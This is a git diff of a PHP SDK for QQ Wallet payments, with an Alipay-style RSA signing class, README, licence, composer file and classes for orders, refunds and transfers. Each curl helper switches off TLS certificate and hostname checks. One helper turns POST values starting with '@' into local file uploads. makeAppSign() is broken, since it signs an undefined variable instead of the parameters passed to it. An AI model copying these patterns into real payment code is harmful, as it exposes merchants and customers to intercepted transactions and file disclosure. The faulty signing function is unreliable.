foreach ($params as $k => $v) {
|
||||
if($v instanceof \CURLFile || $this->isEmpty($v) || substr($v, 0, 1) == '@') continue;
|
||||
$stringToBeSigned .= "&{$k}={$v}";
|
||||
}
|
||||
return substr($stringToBeSigned, 1);
|
||||
}
|
||||
|
||||
/**
|
||||
* 使用应用私钥签名
|
||||
*
|
||||
* @param string $data 待签名数据
|
||||
* @param string $signType 签名类型
|
||||
*
|
||||
* @return string
|
||||
*
|
||||
* @throws Exception
|
||||
* @see https://docs.open.alipay.com/291/106118
|
||||
*/
|
||||
protected function rsaPrivateSign(string $data, string $signType = 'RSA2'): string
|
||||
{
|
||||
if ($this->isEmpty($this->rsaPrivateKeyFilePath)) {
|
||||
$priKey = "-----BEGIN RSA PRIVATE KEY-----\n" .
|
||||
wordwrap($this->rsaPrivateKey, 64, "\n", true) .
|
||||
"\n-----END RSA PRIVATE KEY-----";
|
||||
} else {
|
||||
$priKey = file_get_contents($this->rsaPrivateKeyFilePath);
|
||||
}
|
||||
$res = openssl_get_privatekey($priKey);
|
||||
if(!$res){
|
||||
throw new Exception('签名失败,应用私钥不正确');
|
||||
}
|
||||
|
||||
if($signType == 'RSA2'){
|
||||
openssl_sign($data, $sign, $res, OPENSSL_ALGO_SHA256);
|
||||
}else{
|
||||
openssl_sign($data, $sign, $res);
|
||||
}
|
||||
if(is_resource($res)){
|
||||
openssl_free_key($res);
|
||||
}
|
||||
return base64_encode($sign);
|
||||
}
|
||||
|
||||
/**
|
||||
* 使用支付宝公钥验签
|
||||
*
|
||||
* @param string $data 待验签数据
|
||||
* @param string $sign 签名
|
||||
* @param string $signType
|
||||
* @return bool
|
||||
* @throws Exception
|
||||
*/
|
||||
public function rsaPubilcVerify(string $data, string $sign, string $signType = 'RSA2'): bool
|
||||
{
|
||||
if ($this->isEmpty($this->rsaPublicKeyFilePath)) {
|
||||
$pubKey = "-----BEGIN PUBLIC KEY-----\n" .
|
||||
wordwrap($this->rsaPublicKey, 64, "\n", true) .
|
||||
"\n-----END PUBLIC KEY-----";
|
||||
} else {
|
||||
$pubKey = file_get_contents($this->rsaPublicKeyFilePath);
|
||||
}
|
||||
$res = openssl_get_publickey($pubKey);
|
||||
if(!$res){
|
||||
throw new Exception('验签失败,支付宝公钥不正确');
|
||||
}
|
||||
|
||||
if($signType == 'RSA2'){
|
||||
$result = openssl_verify($data, base64_decode($sign), $res, OPENSSL_ALGO_SHA256);
|
||||
}else{
|
||||
$result = openssl_verify($data, base64_decode($sign), $res);
|
||||
}
|
||||
if(is_resource($res)){
|
||||
openssl_free_key($res);
|
||||
}
|
||||
return $result === 1;
|
||||
}
|
||||
|
||||
/**
|
||||
* 校验某字符串或可被转换为字符串的数据,是否为 NULL 或均为空白字符.
|
||||
*
|
||||
* @param string|null $value
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
protected function isEmpty(?string $value): bool
|
||||
{
|
||||
return $value === null || trim($value) === '';
|
||||
}
|
||||
|
||||
/**
|
||||
* 发起 GET/POST 请求.
|
||||
*
|
||||
* @param string $url 请求地址
|
||||
* @param array|null $postFields POST 数据
|
||||
* @return bool|string
|
||||
* @throws Exception
|
||||
*/
|
||||
protected function curl(string $url, array $postFields = null)
|
||||
{
|
||||
$ch = curl_init();
|
||||
|
||||
curl_setopt($ch, CURLOPT_URL, $url);
|
||||
curl_setopt($ch, CURLOPT_FAILONERROR, false);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
|
||||
|
||||
if (is_array($postFields) && 0 < count($postFields)) {
|
||||
$postMultipart = false;
|
||||
foreach ($postFields as &$value) {
|
||||
if ($value instanceof \CURLFile) {
|
||||
$postMultipart = true;
|
||||
} elseif(substr($value, 0, 1) == '@' && class_exists('CURLFile')) {
|
||||
$postMultipart = true;
|
||||
$file = substr($value, 1);
|
||||
if(file_exists($file)){
|
||||
$value = new \CURLFile($file);
|
||||
}
|
||||
}
|
||||
}
|
||||
curl_setopt($ch, CURLOPT_POST, true);
|
||||
if($postMultipart){
|
||||
curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
|
||||
}else{
|
||||
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postFields));
|
||||
}
|
||||
}
|
||||
|
||||
$response = curl_exec($ch);
|
||||
|
||||
if (curl_errno($ch) > 0) {
|
||||
$errmsg = curl_error($ch);
|
||||
curl_close($ch);
|
||||
throw new Exception($errmsg, 0);
|
||||
}
|
||||
|
||||
$httpStatusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
|
||||
if ($httpStatusCode != 200) {
|
||||
curl_close($ch);
|
||||
throw new Exception($response, $httpStatusCode);
|
||||
}
|
||||
|
||||
curl_close($ch);
|
||||
|
||||
return $response;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2023 消失的彩虹海
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
+39
@@ -0,0 +1,39 @@
|
||||
# QQPay SDK for PHP
|
||||
QQ钱包支付第三方 PHP SDK,基于官方最新版本。
|
||||
|
||||
### 功能特点
|
||||
|
||||
- 根据QQ钱包支付最新API开发,相比官方SDK,功能更完善,代码更简洁
|
||||
- 支持Composer安装,无需加载多余组件,可应用于任何平台或框架
|
||||
- 符合`PSR`标准,你可以各种方便的与你的框架集成
|
||||
- 基本完善的PHPDoc,可以随心所欲添加本项目中没有的API接口
|
||||
|
||||
### 环境要求
|
||||
|
||||
`PHP` >= 7.1
|
||||
|
||||
### 使用方法
|
||||
|
||||
1. Composer 安装。
|
||||
|
||||
```bash
|
||||
composer require cccyun/qqpay-sdk
|
||||
```
|
||||
|
||||
2. 创建配置文件 [`config.php`](./examples/config.php),填写QQ钱包支付商户信息。
|
||||
|
||||
3. 引入配置文件,构造请求参数,调用PaymentService中的方法发起请求,参考 [`examples/qrpay.php`](./examples/qrpay.php)。
|
||||
|
||||
4. 更多实例,请移步 [`examples`](examples/) 目录。
|
||||
|
||||
5. 类功能说明
|
||||
|
||||
| 类名 | 说明 |
|
||||
| --------------- | ------------------------------------ |
|
||||
| PaymentService | 基础支付服务类,所有支付功能都用这个 |
|
||||
| TransferService | QQ钱包企业付款功能 |
|
||||
|
||||
6. 要对接的API在以上实现类中没有,可根据QQ钱包官方的文档,使用BaseService类中的execute方法直接调用接口。
|
||||
|
||||
|
||||
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
{
|
||||
"name": "cccyun/qqpay-sdk",
|
||||
"description": "QQ钱包支付第三方 PHP SDK,基于官方最新版本。",
|
||||
"type": "library",
|
||||
"keywords": [
|
||||
"qqpay",
|
||||
"qpay",
|
||||
"QQ支付"
|
||||
],
|
||||
"license": "MIT",
|
||||
"minimum-stability": "dev",
|
||||
"prefer-stable": true,
|
||||
"require": {
|
||||
"php": ">=7.1"
|
||||
},
|
||||
"authors": [
|
||||
{
|
||||
"name": "caihong",
|
||||
"email": "admin@cccyun.cn"
|
||||
}
|
||||
],
|
||||
"autoload": {
|
||||
"psr-4": {
|
||||
"QQPay\\": "src/"
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,238 @@
|
||||
<?php
|
||||
|
||||
namespace QQPay;
|
||||
|
||||
class BaseService
|
||||
{
|
||||
//商户号
|
||||
protected $mchId;
|
||||
|
||||
//商户API密钥
|
||||
protected $apiKey;
|
||||
|
||||
//应用APPID(可空)
|
||||
protected $appId;
|
||||
|
||||
//应用APPKEY(可空)
|
||||
protected $appKey;
|
||||
|
||||
//商户证书路径
|
||||
protected $sslCertPath;
|
||||
|
||||
//商户证书私钥路径
|
||||
protected $sslKeyPath;
|
||||
|
||||
//操作员ID
|
||||
protected $opUserId;
|
||||
|
||||
//操作员密码
|
||||
protected $opUserPwd;
|
||||
|
||||
//公共请求参数
|
||||
protected $publicParams = [];
|
||||
|
||||
/**
|
||||
* @param $config 微信支付配置信息
|
||||
*/
|
||||
public function __construct($config)
|
||||
{
|
||||
if (empty($config['mchid'])) {
|
||||
throw new \InvalidArgumentException("商户号不能为空");
|
||||
}
|
||||
if (empty($config['apikey'])) {
|
||||
throw new \InvalidArgumentException("商户API密钥不能为空");
|
||||
}
|
||||
$this->mchId = $config['mchid'];
|
||||
$this->apiKey = $config['apikey'];
|
||||
if (isset($config['appid'])) {
|
||||
$this->appId = $config['appid'];
|
||||
}
|
||||
if (isset($config['appkey'])) {
|
||||
$this->appKey = $config['appkey'];
|
||||
}
|
||||
$this->sslCertPath = $config['sslcert_path'];
|
||||
$this->sslKeyPath = $config['sslkey_path'];
|
||||
if (isset($config['op_userid'])) {
|
||||
$this->opUserId = $config['op_userid'];
|
||||
}
|
||||
if (isset($config['op_userpwd'])) {
|
||||
$this->opUserPwd = $config['op_userpwd'];
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* 请求接口并解析返回数据
|
||||
* @param $url url
|
||||
* @param $params 请求参数
|
||||
* @param $cert 是否需要证书
|
||||
* @return mixed
|
||||
*/
|
||||
public function execute($url, $params, $cert = false)
|
||||
{
|
||||
$params = array_merge($this->publicParams, $params);
|
||||
$params['sign'] = $this->makeSign($params);
|
||||
$xml = $this->array2Xml($params);
|
||||
$response = $this->curl($url, $xml, $cert);
|
||||
$result = $this->xml2array($response);
|
||||
if (isset($result['return_code']) && $result['return_code'] == 'SUCCESS') {
|
||||
if (isset($result['result_code']) && $result['result_code'] == 'SUCCESS') {
|
||||
if (isset($result['sign']) && !$this->checkSign($result)) {
|
||||
throw new \Exception('返回数据验签失败');
|
||||
}
|
||||
return $result;
|
||||
}
|
||||
}
|
||||
throw new QQPayException($result);
|
||||
}
|
||||
|
||||
/**
|
||||
* 下载账单接口
|
||||
* @param $url url
|
||||
* @param $params 请求参数
|
||||
* @param $cert 是否需要证书
|
||||
* @return mixed
|
||||
*/
|
||||
public function download($url, $params)
|
||||
{
|
||||
$params = array_merge($this->publicParams, $params);
|
||||
$params['sign'] = $this->makeSign($params);
|
||||
$xml = $this->array2Xml($params);
|
||||
$response = $this->curl($url, $xml);
|
||||
return $response;
|
||||
}
|
||||
|
||||
/**
|
||||
* 验签
|
||||
* @param $data
|
||||
* @return bool
|
||||
*/
|
||||
protected function checkSign($data)
|
||||
{
|
||||
if (!isset($data['sign'])) return false;
|
||||
|
||||
$sign = $this->makeSign($data);
|
||||
|
||||
return $sign === $data['sign'];
|
||||
}
|
||||
|
||||
/**
|
||||
* 生成签名
|
||||
* @param $data
|
||||
* @return string
|
||||
*/
|
||||
protected function makeSign($data)
|
||||
{
|
||||
ksort($data);
|
||||
$signStr = '';
|
||||
foreach ($data as $k => $v) {
|
||||
if($k != 'sign' && !is_array($v) && !$this->isEmpty($v)){
|
||||
$signStr .= $k . '=' . $v . '&';
|
||||
}
|
||||
}
|
||||
$signStr = trim($signStr, '&') . '&key=' . $this->apiKey;
|
||||
$sign = md5($signStr);
|
||||
return strtoupper($sign);
|
||||
}
|
||||
|
||||
/**
|
||||
* 校验某字符串或可被转换为字符串的数据,是否为 NULL 或均为空白字符.
|
||||
*
|
||||
* @param string|null $value
|
||||
*
|
||||
* @return bool
|
||||
*/
|
||||
protected function isEmpty($value)
|
||||
{
|
||||
return $value === null || $value === '';
|
||||
}
|
||||
|
||||
/**
|
||||
* 产生随机字符串,不长于32位
|
||||
* @param int $length
|
||||
* @return 产生的随机字符串
|
||||
*/
|
||||
protected function getNonceStr($length = 32)
|
||||
{
|
||||
$chars = "abcdefghijklmnopqrstuvwxyz0123456789";
|
||||
$str = "";
|
||||
for ($i = 0; $i < $length; $i++) {
|
||||
$str .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
|
||||
}
|
||||
return $str;
|
||||
}
|
||||
|
||||
/**
|
||||
* 转为XML数据
|
||||
* @param array $data 源数据
|
||||
* @return string
|
||||
*/
|
||||
protected function array2Xml($data)
|
||||
{
|
||||
if (!is_array($data)) {
|
||||
return false;
|
||||
}
|
||||
$xml = '<xml>';
|
||||
foreach ($data as $key => $val) {
|
||||
$xml .= (is_numeric($val) ? "<{$key}>{$val}</{$key}>" : "<{$key}><![CDATA[{$val}]]></{$key}>");
|
||||
}
|
||||
return $xml . '</xml>';
|
||||
}
|
||||
|
||||
/**
|
||||
* 解析XML数据
|
||||
* @param string $xml 源数据
|
||||
* @return mixed
|
||||
*/
|
||||
protected function xml2array($xml)
|
||||
{
|
||||
if (!$xml) {
|
||||
return false;
|
||||
}
|
||||
LIBXML_VERSION < 20900 && libxml_disable_entity_loader(true);
|
||||
return json_decode(json_encode(simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOCDATA), JSON_UNESCAPED_UNICODE), true);
|
||||
}
|
||||
|
||||
/**
|
||||
* 以post方式提交xml到对应的接口url
|
||||
* @param string $url url
|
||||
* @param string $xml 需要post的xml数据
|
||||
* @param bool $useCert 是否需要证书
|
||||
* @param int $second url执行超时时间
|
||||
* @return string
|
||||
*/
|
||||
protected function curl($url, $xml, $useCert = false, $second = 10)
|
||||
{
|
||||
$ch = curl_init();
|
||||
$curlVersion = curl_version();
|
||||
$ua = "QQPaySDK/1.0 (" . PHP_OS . ") PHP/" . PHP_VERSION . " CURL/" . $curlVersion['version'] . " ". $this->mchId;
|
||||
|
||||
curl_setopt($ch, CURLOPT_TIMEOUT, $second);
|
||||
curl_setopt($ch, CURLOPT_URL, $url);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
|
||||
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
|
||||
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
|
||||
curl_setopt($ch, CURLOPT_HEADER, false);
|
||||
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
|
||||
if ($useCert) {
|
||||
if (!file_exists($this->sslCertPath) || !file_exists($this->sslKeyPath)) {
|
||||
throw new \Exception('商户证书文件不存在');
|
||||
}
|
||||
//使用证书:cert 与 key 分别属于两个.pem文件
|
||||
curl_setopt($ch, CURLOPT_SSLCERTTYPE, 'PEM');
|
||||
curl_setopt($ch, CURLOPT_SSLCERT, $this->sslCertPath);
|
||||
curl_setopt($ch, CURLOPT_SSLKEYTYPE, 'PEM');
|
||||
curl_setopt($ch, CURLOPT_SSLKEY, $this->sslKeyPath);
|
||||
}
|
||||
curl_setopt($ch, CURLOPT_POST, true);
|
||||
curl_setopt($ch, CURLOPT_POSTFIELDS, $xml);
|
||||
$data = curl_exec($ch);
|
||||
if (curl_errno($ch) > 0) {
|
||||
$errmsg = curl_error($ch);
|
||||
curl_close($ch);
|
||||
throw new \Exception($errmsg, 0);
|
||||
}
|
||||
curl_close($ch);
|
||||
return $data;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,317 @@
|
||||
<?php
|
||||
|
||||
namespace QQPay;
|
||||
|
||||
/**
|
||||
* QQ钱包支付服务类
|
||||
* @see https://mp.qpay.tenpay.cn/buss/wiki/38/1188
|
||||
*/
|
||||
class PaymentService extends BaseService
|
||||
{
|
||||
public function __construct($config)
|
||||
{
|
||||
parent::__construct($config);
|
||||
|
||||
$this->publicParams = [
|
||||
'mch_id' => $this->mchId,
|
||||
'nonce_str' => $this->getNonceStr(),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* 统一下单
|
||||
* @param $params 下单参数
|
||||
* @return mixed
|
||||
*/
|
||||
public function unifiedOrder($params)
|
||||
{
|
||||
$url = 'https://qpay.qq.com/cgi-bin/pay/qpay_unified_order.cgi';
|
||||
if (empty($params['out_trade_no'])) {
|
||||
throw new \InvalidArgumentException('缺少统一支付接口必填参数out_trade_no');
|
||||
}
|
||||
if (empty($params['body'])) {
|
||||
throw new \InvalidArgumentException('缺少统一支付接口必填参数body');
|
||||
}
|
||||
if (empty($params['total_fee'])) {
|
||||
throw new \InvalidArgumentException('缺少统一支付接口必填参数total_fee');
|
||||
}
|
||||
if (empty($params['trade_type'])) {
|
||||
throw new \InvalidArgumentException('缺少统一支付接口必填参数trade_type');
|
||||
}
|
||||
return $this->execute($url, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* NATIVE支付
|
||||
* @param $params 下单参数
|
||||
* @return mixed {"code_url":"二维码链接","prepay_id":"预支付会话标识"}
|
||||
*/
|
||||
public function nativePay($params)
|
||||
{
|
||||
$params['trade_type'] = 'NATIVE';
|
||||
return $this->unifiedOrder($params);
|
||||
}
|
||||
|
||||
/**
|
||||
* JSAPI支付
|
||||
* @param $params 下单参数
|
||||
* @return mixed {"tokenId":"预支付会话标识","appInfo":"标记业务及渠道"}
|
||||
*/
|
||||
public function jsapiPay($params)
|
||||
{
|
||||
$params['trade_type'] = 'JSAPI';
|
||||
$result = $this->unifiedOrder($params);
|
||||
return ['tokenId' => $result['prepay_id'], 'appInfo' => 'appid#' . $this->appId . '|bargainor_id#' . $this->mchId . '|channel#wallet'];
|
||||
}
|
||||
|
||||
/**
|
||||
* APP支付
|
||||
* @param $params 下单参数
|
||||
* @return mixed APP支付json数据
|
||||
*/
|
||||
public function appPay($params)
|
||||
{
|
||||
$params['trade_type'] = 'APP';
|
||||
$result = $this->unifiedOrder($params);
|
||||
return $this->getAppParameters($result['prepay_id']);
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取APP支付的参数
|
||||
* @param $prepay_id 预支付交易会话标识
|
||||
* @return array
|
||||
*/
|
||||
private function getAppParameters($prepay_id)
|
||||
{
|
||||
$params = [
|
||||
'appId' => $this->appId,
|
||||
'nonce' => $this->getNonceStr(),
|
||||
'tokenId' => $prepay_id,
|
||||
'pubAcc' => '',
|
||||
'bargainorId' => $this->mchId,
|
||||
];
|
||||
$params['sig'] = $this->makeAppSign($params);
|
||||
$params['sigType'] = 'HMAC-SHA1';
|
||||
$params['timeStamp'] = time();
|
||||
return $params;
|
||||
}
|
||||
|
||||
/**
|
||||
* 生成APP支付签名
|
||||
* @param $data
|
||||
* @return string
|
||||
*/
|
||||
private function makeAppSign()
|
||||
{
|
||||
ksort($data);
|
||||
$signStr = '';
|
||||
foreach ($data as $k => $v) {
|
||||
$signStr .= $k . '=' . $v . '&';
|
||||
}
|
||||
$signStr = trim($signStr, '&');
|
||||
$sign = base64_encode(hash_hmac("sha1", $signStr, $this->appKey.'&', true));
|
||||
return $sign;
|
||||
}
|
||||
|
||||
/**
|
||||
* 付款码支付
|
||||
* @param $params 下单参数
|
||||
* @return mixed {"trade_state":"SUCCESS","total_fee":888,"cash_fee":888,"transaction_id":"QQ钱包订单号","out_trade_no":"商户订单号","time_end":"支付完成时间","trade_state_desc":"交易状态描述","openid":"用户标识"}
|
||||
*/
|
||||
public function microPay($params)
|
||||
{
|
||||
$url = 'https://qpay.qq.com/cgi-bin/pay/qpay_micro_pay.cgi';
|
||||
if (empty($params['out_trade_no'])) {
|
||||
throw new \InvalidArgumentException('缺少付款码支付接口必填参数out_trade_no');
|
||||
}
|
||||
if (empty($params['body'])) {
|
||||
throw new \InvalidArgumentException('缺少付款码支付接口必填参数body');
|
||||
}
|
||||
if (empty($params['total_fee'])) {
|
||||
throw new \InvalidArgumentException('缺少付款码支付接口必填参数total_fee');
|
||||
}
|
||||
if (empty($params['auth_code'])) {
|
||||
throw new \InvalidArgumentException('缺少付款码支付接口必填参数auth_code');
|
||||
}
|
||||
return $this->execute($url, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 撤销订单
|
||||
* @param $out_trade_no 商户订单号
|
||||
* @return mixed
|
||||
*/
|
||||
public function reverse($out_trade_no)
|
||||
{
|
||||
$url = 'https://api.qpay.qq.com/cgi-bin/pay/qpay_reverse.cgi';
|
||||
$params = [
|
||||
'out_trade_no' => $out_trade_no,
|
||||
'op_user_id' => $this->opUserId,
|
||||
'op_user_passwd' => md5($this->opUserPwd)
|
||||
];
|
||||
return $this->execute($url, $params, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询订单,QQ钱包订单号、商户订单号至少填一个
|
||||
* @param $transaction_id QQ钱包订单号
|
||||
* @param $out_trade_no 商户订单号
|
||||
* @return mixed
|
||||
*/
|
||||
public function orderQuery($transaction_id = null, $out_trade_no = null)
|
||||
{
|
||||
$url = 'https://qpay.qq.com/cgi-bin/pay/qpay_order_query.cgi';
|
||||
$params = [];
|
||||
if ($transaction_id) {
|
||||
$params['transaction_id'] = $transaction_id;
|
||||
} elseif ($out_trade_no) {
|
||||
$params['out_trade_no'] = $out_trade_no;
|
||||
}
|
||||
return $this->execute($url, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 判断订单是否已完成
|
||||
* @param $transaction_id QQ钱包订单号
|
||||
* @return bool
|
||||
*/
|
||||
public function orderQueryResult($transaction_id)
|
||||
{
|
||||
try {
|
||||
$data = $this->orderQuery($transaction_id);
|
||||
return $data['trade_state'] == 'SUCCESS' || $data['trade_state'] == 'REFUND';
|
||||
} catch (\Exception $e) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 关闭订单
|
||||
* @param $out_trade_no 商户订单号
|
||||
* @return mixed
|
||||
*/
|
||||
public function closeOrder($out_trade_no)
|
||||
{
|
||||
$url = 'https://qpay.qq.com/cgi-bin/pay/qpay_close_order.cgi';
|
||||
$params = [
|
||||
'out_trade_no' => $out_trade_no
|
||||
];
|
||||
return $this->execute($url, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 申请退款
|
||||
* @param $params
|
||||
* @return mixed
|
||||
*/
|
||||
public function refund($params)
|
||||
{
|
||||
$url = 'https://api.qpay.qq.com/cgi-bin/pay/qpay_refund.cgi';
|
||||
if (empty($params['transaction_id']) && empty($params['out_trade_no'])) {
|
||||
throw new \InvalidArgumentException('out_trade_no、transaction_id至少填一个');
|
||||
}
|
||||
if (empty($params['out_refund_no'])) {
|
||||
throw new \InvalidArgumentException('out_refund_no参数不能为空');
|
||||
}
|
||||
if (empty($params['refund_fee'])) {
|
||||
throw new \InvalidArgumentException('refund_fee参数不能为空');
|
||||
}
|
||||
$params += [
|
||||
'op_user_id' => $this->opUserId,
|
||||
'op_user_passwd' => md5($this->opUserPwd)
|
||||
];
|
||||
return $this->execute($url, $params, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询退款
|
||||
* @param $params
|
||||
* @return mixed
|
||||
*/
|
||||
public function refundQuery($params)
|
||||
{
|
||||
$url = 'https://qpay.qq.com/cgi-bin/pay/qpay_refund_query.cgi';
|
||||
if (empty($params['transaction_id']) && empty($params['out_trade_no']) && empty($params['out_refund_no']) && empty($params['refund_id'])) {
|
||||
throw new \InvalidArgumentException('退款查询接口中,out_refund_no、out_trade_no、transaction_id、refund_id四个参数必填一个');
|
||||
}
|
||||
return $this->execute($url, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 下载对账单
|
||||
* @param $params
|
||||
* @return mixed
|
||||
*/
|
||||
public function downloadBill($params)
|
||||
{
|
||||
$url = 'https://qpay.qq.com/cgi-bin/sp_download/qpay_mch_statement_down.cgi';
|
||||
if (empty($params['bill_date'])) {
|
||||
throw new \InvalidArgumentException('bill_date参数不能为空');
|
||||
}
|
||||
if (empty($params['bill_type'])) {
|
||||
throw new \InvalidArgumentException('bill_type参数不能为空');
|
||||
}
|
||||
return $this->download($url, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 下载资金账单
|
||||
* @param $params
|
||||
* @return mixed
|
||||
*/
|
||||
public function downloadFundFlow($params)
|
||||
{
|
||||
$url = 'https://qpay.qq.com/cgi-bin/sp_download/qpay_mch_acc_roll.cgi';
|
||||
if (empty($params['bill_date'])) {
|
||||
throw new \InvalidArgumentException('bill_date参数不能为空');
|
||||
}
|
||||
if (empty($params['acc_type'])) {
|
||||
throw new \InvalidArgumentException('acc_type参数不能为空');
|
||||
}
|
||||
return $this->download($url, $params);
|
||||
}
|
||||
|
||||
/**
|
||||
* 支付结果通知
|
||||
* @return bool|mixed
|
||||
*/
|
||||
public function notify()
|
||||
{
|
||||
$xml = file_get_contents("php://input");
|
||||
if (empty($xml)) {
|
||||
throw new \Exception('NO_DATA');
|
||||
}
|
||||
$result = $this->xml2array($xml);
|
||||
if (!$result) {
|
||||
throw new \Exception('XML_ERROR');
|
||||
}
|
||||
if (!$this->checkSign($result)) {
|
||||
throw new \Exception('签名校验失败');
|
||||
}
|
||||
if (!isset($result['transaction_id'])) {
|
||||
throw new \Exception('缺少订单号参数');
|
||||
}
|
||||
if (!$this->orderQueryResult($result['transaction_id'])) {
|
||||
throw new \Exception('订单未完成');
|
||||
}
|
||||
return $result;
|
||||
}
|
||||
|
||||
/**
|
||||
* 回复通知
|
||||
* @param $isSuccess 是否成功
|
||||
* @param $msg 失败原因
|
||||
*/
|
||||
public function replyNotify($isSuccess = true, $msg = '')
|
||||
{
|
||||
$data = [];
|
||||
if ($isSuccess) {
|
||||
$data['return_code'] = 'SUCCESS';
|
||||
} else {
|
||||
$data['return_code'] = 'FAIL';
|
||||
$data['return_msg'] = $msg;
|
||||
}
|
||||
$xml = $this->array2Xml($data);
|
||||
echo $xml;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
<?php
|
||||
|
||||
namespace QQPay;
|
||||
|
||||
/**
|
||||
* QQ钱包支付响应内容异常
|
||||
*/
|
||||
class QQPayException extends \Exception
|
||||
{
|
||||
private $res = [];
|
||||
private $errCode;
|
||||
|
||||
/**
|
||||
* @param array $res
|
||||
*/
|
||||
public function __construct($res)
|
||||
{
|
||||
$this->res = $res;
|
||||
if (isset($res['err_code'])) {
|
||||
$this->errCode = $res['err_code'];
|
||||
$message = '['.$res['err_code'].']'.$res['err_code_des'];
|
||||
} elseif (isset($res['return_code'])) {
|
||||
$message = '['.$res['return_code'].']'.$res['return_msg'];
|
||||
} else {
|
||||
$message = '返回数据解析失败';
|
||||
}
|
||||
parent::__construct($message);
|
||||
}
|
||||
|
||||
public function getResponse()
|
||||
{
|
||||
return $this->res;
|
||||
}
|
||||
|
||||
public function getErrCode()
|
||||
{
|
||||
return $this->errCode;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
<?php
|
||||
|
||||
namespace QQPay;
|
||||
|
||||
/**
|
||||
* QQ钱包转账服务类
|
||||
* @see https://mp.qpay.tenpay.cn/buss/wiki/206/1214
|
||||
*/
|
||||
class TransferService extends BaseService
|
||||
{
|
||||
public function __construct($config)
|
||||
{
|
||||
parent::__construct($config);
|
||||
|
||||
$this->publicParams = [
|
||||
'mch_id' => $this->mchId,
|
||||
'nonce_str' => $this->getNonceStr(),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* 企业付款到余额
|
||||
* @param $out_trade_no 商户订单号
|
||||
* @param $uin 收款QQ号码
|
||||
* @param $name 用户姓名(填写后校验)
|
||||
* @param $amount 金额
|
||||
* @param $memo 备注
|
||||
* @return mixed {"out_trade_no":"商户订单号","transaction_id":"QQ钱包订单号"}
|
||||
*/
|
||||
public function transfer($out_trade_no, $uin, $name, $amount, $memo)
|
||||
{
|
||||
$url = 'https://api.qpay.qq.com/cgi-bin/epay/qpay_epay_b2c.cgi';
|
||||
$params = [
|
||||
'input_charset' => 'UTF-8',
|
||||
'out_trade_no' => $out_trade_no,
|
||||
'uin' => $uin,
|
||||
'fee_type' => 'CNY',
|
||||
'total_fee' => $amount,
|
||||
'memo' => $memo,
|
||||
'check_real_name' => '0'
|
||||
];
|
||||
if (!empty($name)) {
|
||||
$params['check_name'] = 'FORCE_CHECK';
|
||||
$params['re_user_name'] = $name;
|
||||
}
|
||||
$params += [
|
||||
'op_user_id' => $this->opUserId,
|
||||
'op_user_passwd' => md5($this->opUserPwd),
|
||||
'spbill_create_ip' => $_SERVER['SERVER_ADDR']
|
||||
];
|
||||
return $this->execute($url, $params, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* 查询企业付款
|
||||
* @param $out_trade_no 商户订单号
|
||||
* @return mixed {"out_trade_no":"商户订单号","detail_id":"微信付款单号","status":"转账状态","reason":"失败原因","openid":"用户openid","transfer_name":"用户姓名","payment_amount":"付款金额","transfer_time":"转账时间","payment_time":"付款成功时间","desc":"付款备注"}
|
||||
*/
|
||||
public function transferQuery($out_trade_no)
|
||||
{
|
||||
$url = 'https://qpay.qq.com/cgi-bin/pay/qpay_epay_query.cgi';
|
||||
$params = [
|
||||
'out_trade_no' => $out_trade_no
|
||||
];
|
||||
return $this->execute($url, $params);
|
||||
}
|
||||
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
